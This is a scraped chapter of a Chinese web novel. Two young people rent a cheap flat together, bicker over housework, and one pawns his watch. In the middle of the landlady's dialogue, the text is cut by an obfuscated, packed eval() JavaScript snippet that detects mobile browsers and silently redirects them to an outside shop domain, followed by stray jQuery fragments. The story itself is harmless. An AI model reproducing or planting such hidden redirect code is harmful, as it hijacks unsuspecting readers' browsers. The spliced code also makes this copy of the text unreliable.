文趣网 > 都市小说 > 黄澄澄的小摊车 > 4. 我洗厕所?我?
    “可是我……”裴昭有生以来头一次觉得真没面子,“我没钱。”

    “啊?”谢若水说,“我们不用租很好的,就这边上,一百块钱的,我看挺多。”

    裴昭避开她的视线,声音跟蚊子似的,“我没有。”

    谢若水眨巴了好几下眼,“五十都没有?”

    裴昭转头看向另一边,只给她留个后脑勺,“你自己住去吧。”

    谢若水张着嘴,好半晌下不了决心。

    但凡她手头钱再多一点点,她都会给这小伙子一个住处,但是她现在自身都难保。

    谢若水咬咬牙,笑着说:“那你先赊着呗,有了再给我,下个月给我,我现在还有点。”

    裴昭摇摇头,“不要。”

    谢若水一巴掌拍他背上,“有什么可别扭的,谁还没个倒霉的时候,你人高马大的,一个月还挣不到五十啊?”

    裴昭背上火辣辣的疼,“如果挣不到呢?”

    “啊?”谢若水愣了。

    裴昭回过头,目光凉凉地看着她,“我就是挣不到,我要能挣到我还会拖两天不给吗?”

    谢若水有些忧愁,这就难办了。

    俗话说得好,救急不救穷,她是想搭把手,但小伙子自暴自弃她也没辙啊。

    “我走了。”裴昭站起身,把搭在摊车上的包甩到背上。

    谢若水看见了他的表,“你这表是真的吧?”

    裴昭低头看她,“哎我说你,你该不会是因为我身上这点东西故意装好人吧?”

    谢若水说:“目前来看的话,好像一直是你在扮演好人啊。”

    裴昭抿着唇,过了一会儿说:“我那是今天喝多了,我火气大,逮谁干谁,我才不是好人。”

    谢若水仰着脸,轻声说:“我不知道你碰上什么事了,但人得吃饭睡觉啊,你要实在想歇一阵,东西卖了,好好休息,养足精气神再把东西赚回来呗,不然你要睡大街吗?”

    裴昭梗着脖子在三轮车面前站了好半天,憋了一句:“你说教什么呢,我还要你一个村姑教?”

    “哎……”谢若水悠长地叹了口气。

    裴昭低头看了眼自己的表,勉为其难地说:“看你一个小丫头不安全,我还是跟你合租吧。”

    谢若水被气笑了,“谢谢你谢谢你,你可真是太仗义了。”

    裴昭刚要叫她注意点态度,肚子就在空寂的大街上叫了起来。

    咕噜咕噜,十分的响亮。

    谢若水憋住笑,“我好饿,你想吃馄饨吗?”

    裴昭放下背包,没有说话。

    谢若水感觉他现在就是个漏气的煤气罐,随便来点火星子就炸了。

    两个人吃完馄饨,就这么蹲在摊车边上,静静等天亮,也没有什么话,在静默的黑夜里各自抚慰自己一天的疲惫。

    秋风在胳膊上掀起鸡皮疙瘩,裴昭伸了伸腿,回过手从包里拿了件外套,铺在旁边的姑娘身上。

    真诡异。

    都不知道这人叫什么,竟然要跟她同……合租了。

    裴昭侧过头,老气横秋的村姑已经睡着了,蹲姿换成了坐姿,脑袋挨着他的胳膊,没来得及吹的头发潮潮地垂落,散发出皂角的香味。

    这都什么事儿啊。

    他裴昭居然沦落到带姑娘睡大街的地步。

    谢若水听到歌声苏醒的时候,发现自己脑袋上顶着个又沉又硬的东西,像是顶着水盆睡了一夜,脑壳隐隐地痛。

    她睁开眼,扑鼻而来的是略带着酒气的呼吸,混杂着灰尘和男人的味道。

    谢若水愣了愣,迅速把昨天发生的一切都想起来了。

    重生,逃难,租房,被扫地出门……这一天简直像荒野大逃亡,太忙了。

    时间还早,街上都没看见人,但能听到密集楼房里此起彼伏的吵闹声,融合在不知道哪条街播放的摇滚乐里。

    “那个……”谢若水推了推胳膊肘,想把旁边的小伙叫醒。

    裴昭顺着她的力道就栽到了地上。

    “我……”裴昭蹭一脸灰,呲牙咧嘴地睁开眼,瞪着地面,“怎么睡地上了?”

    “是不是太累了?”谢若水担忧地问。

    “我嘶……”裴昭曲起膝盖,抱着自己的腿使劲捶,“痛死我了!”

    “麻了啊?”谢若水上手帮他一起捶,“我就说别一直蹲着吧,睡大街总要脏的。”

    “跟你说了不要再说教了!”裴昭喊。

    “好的好的,我不说话了。”谢若水瞬间感觉自己回到了工厂时期。

    对着那个啥也不懂还死要面子的空降关系户经理,除了“好的好的”实在无话可说。

    裴昭捶腿锤了半天,稍微缓过来一点,抬眼看谢若水,“我这人脾气不好……”

    “我知道。”谢若水点点头。

    “我没说完呢!”裴昭说。

    “您说。”谢若水说。

    “要是说话声音大了,你……”裴昭又看了看她,“别往心里去啊。”

    谢若水笑了笑,“好的。”

    裴昭面上有些发热,一脸不爽地站了起来,“走吧,看房子。”

    时间太早了,很多人家都没开门,而且套房的选择面小很多,要找刚好两室一厅的,更划算,还得有院子。

    厂区的路崎岖不平,谢若水踩着三轮车,裴昭在后面一只手推着。

    他们一连看了四套。

    其实谢若水对第一套就很满意了,比起先前那个只有四面墙的,这里不仅有厨房和独卫,还有一个大阳台,这种先抑后扬的境遇让人很难挑三拣四。

    但是裴昭嫌厕所小,第二套嫌爬虫多,第三套嫌漏水,第四套嫌床太旧……

    “就这套!”谢若水忍无可忍,“就这套!”

    裴昭不高兴地往床上按了一下,“听见没?”

    “什么?”谢若水看着他。

    “它在惨叫!”裴昭说,“它说它年纪大了背不动人了!你懂不懂尊老爱幼啊?”

    谢若水闭了闭眼,告诉自己不要生气不要生气,然后直接转向房东:“我们就要这一套了,谢谢。”

    “喂,谢若水。”裴昭在后面找存在感。

    谢若水掏出皱巴巴的黑色塑料袋,点了一百二零钱给房东老太太。

    这个套房还得交押金。

    “我楼下店面里有个冰箱,”老太太看他们不情愿,说,“你们要有什么东西可以放。”

    “真的!”谢若水惊喜地望着她,“冰箱有多大?”

    老太太比划了一下,“这么大,原来卖冰棍的,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526963|203557||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    现在走不动就空在那里了,只放了点冻货。”

    “太好了!”谢若水一拍掌,“谢谢奶。”

    裴昭都不知道她在兴奋什么。

    中午两个人吃的还是馄饨,大热天的,馄饨放一天一夜,难免有点腥味,简直难以下咽。

    “将就一下吧,”谢若水给他加了点辣椒油,“等我今天摆摊回来,我请你吃好吃的。”

    裴昭一愣,抬眼打量她脱线的老汉衫,不自在地说:“我才不用你请。”

    “要的要的,”谢若水高兴地笑,“我得庆祝自己的重生。”

    裴昭嗤笑,“离家出走就叫重生了?”

    “你不懂,”谢若水三两口扒完馄饨,起身说,“我去趟菜市场,你没事的话收拾一下家里,厕所一定得洗干净,这天气会长虫的。”

    “喂,”裴昭有些怀疑自己的耳朵,“我洗厕所?我?”

    “当然了,”谢若水说,“咱俩合租,家务肯定得分着干啊,我做饭,你当然要收拾了。”

    裴昭听着觉得很在理,但是“裴昭洗厕所”这件事非常不合理。

    他瞪着拎包出门的村姑,半天找不到合适的角度反驳。

    谢若水很愉快地蹦下台阶,和院子里晒被的老太太打了声招呼,张开胳膊拥抱太阳。

    “小姑娘这么有活力啊?”老太太拢着花团锦簇的新被单,笑眯眯地说。

    “是啊!”谢若水回头笑,“奶奶被子好漂亮。”

    “我闺女给我买的!”老太太有些得意,“净糟蹋钱,家里被子可多了。”

    谢若水竖了一个大拇指,背着包出了院子。

    裴昭找房子太磨叽,菜市场已经不剩多少摊子了,零零散散地堆在人行道上。

    不过这个点菜价特别便宜,大家都想早点收摊。

    谢若水本来还想上超市买鸡,碰上一个摊子只剩一只鸡的,当下就买回去了。

    这年头肉价也便宜,前腿肉才两块钱一斤,谢若水抠抠搜搜跟杀猪匠讨价还价半天,砍到了一块五。

    她全要了。

    “说好的啊,”杀猪匠说,“明天再来啊,我都没挣你钱。”

    “来,我天天来!”谢若水笑着说,“谢谢大哥。”

    杀猪匠乐了,“你都该叫我大爷了。”

    “谢谢大爷。”谢若水满意地拎着猪肉走了。

    肉,面粉,调料,油……一样一样再熟悉不过的东西,全买齐了,但自家要用的东西拎不动了。

    谢若水低头看了看自己被勒出红痕的指关节,有点后悔没把裴昭叫出来,煤气罐大米什么的,总该有个力工扛一下。

    “我这个表是二十五万买的,”裴昭看着典当行的老板,“你给我五万?”

    “先生,”老板客气地说,“如果您能把出世纸和发票取来,我可以给您翻一倍。”

    “你要那个干什么?你看不懂这是真东西吗?”裴昭脸色不太好。

    “这是规矩。”老板一脸抱歉。

    裴昭倚在柜台上,手中的银表一下一下敲着玻璃,只觉得虎落平阳被犬欺。

    “拿去吧。”裴昭把表一扔。

    老板心惊胆战地捡了起来,双手捧着仔细瞧了瞧,确定没有破损才叹息道:“好嘞,这就给您办手续。”